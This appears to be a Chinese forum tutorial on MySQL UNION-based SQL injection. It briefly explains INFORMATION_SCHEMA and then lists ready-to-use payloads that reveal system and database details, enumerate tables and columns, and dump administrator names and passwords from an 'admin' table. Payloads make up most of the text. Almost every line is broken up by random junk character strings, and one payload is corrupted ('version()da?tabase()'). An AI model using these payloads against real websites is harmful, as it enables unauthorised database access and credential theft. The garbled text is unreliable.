mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库
2 n+ Y0 {/ u, y6 [" ]$ x! Z
: B/ Y3 J% r, q9 Y+ D4 tMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
5 }  D4 _! T/ ^; [/ H  ^* F0 P存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
5 }3 A; a0 m! b: ^% a6 e|SCHEMATA ->存储数据库名的表
  R% Y/ Z: d  A/ n$ E+ h|---字段：SCHEMA_NAME ->数据库名称
$ b" q( P1 @& \2 Q5 b6 |+ @
|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

- O  l7 ?% x& q# ^* F$ g|COLUMNS ->存储的字段名表
$ Q$ R5 f: Q1 K: ?& H/ r& C|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称

+ i1 i$ [" l8 s, s1 B|---字段：COLUMN_NAME ->该字段的名称

% k4 N7 e8 j; g- T" N) L
2 |$ U1 F) U0 P5 ?
###########################################################################
' I% R' d5 s7 U* f
+ l# E# L( e6 I0x001 获取系统信息:
  n# ^" I$ n' h# d6 Q$ X
5 G; C+ B. m/ x( U  n' v- Runion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
5 O% N1 }+ @2 {) [" l
/*

@@global.version_compile_os 获取系统版本

. K# l- l4 I. U# o@@datadir 数据库路径
database() 当前数据库名称
3 Y2 r, _0 d& S0x3c62723e 换行HEX值

9 x6 [: n, Z! {*/



######################################################################

0x002 获取表名
  O+ b) k+ g- N  ]4 V* `
/ g. U8 U+ ?$ j1 B" Hunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

/ c# y* [- c7 O  F

% c4 M1 s+ c  p3 ?4 R4 D- b: x3 E" f/*

0x67617264656e 为当前数据库名
/ [; g% l) Q( N8 L6 r) Q
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
' K5 ?0 E+ r3 }: S2 o
*/
& N+ D0 W+ X  i5 D  C
  x+ Y% D6 @% C, |8 I- B/ u! k######################################################################


2 a" x( x2 C; x- d- O
: E$ O; Z2 R+ h2 ~2 o- D% y0x003 获取字段

7 m* b/ X6 z# Y1 ?union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

$ A- e: T. {. X! O/*
! z1 I1 U+ ]- I1 q9 Y" t# z' }
& o7 u4 A. q0 [2 \/ k, Lgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
6 K8 J" `: f4 {! C
0x61646d696e ->选择一个表

0x67617264656e ->数据库名
, x4 q# X! S+ R' x5 K+ a
*/

0 f' _! }- n1 }: |& v* Y) c5 H9 W#####################################################################
' K6 w, K1 I/ F2 _+ t# q
. E: F, l- _) r6 f+ G8 v

0x004 获取数据
1 e  U* u! O# @8 F
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 L/ n1 t: T3 Z; a$ m, p
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
. [6 n& Z/ k2 G4 S" x0 W! G1 k
: A" s( B( h5 Y5 r' v+ u  c

# M* W8 y6 s; {$ y) U+ |. j6 S/*
* h+ w7 E7 Q/ R) t% Y
0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
" n2 }/ C8 i. v: J8 O4 F3 g
*/
: L" |3 ~' E, b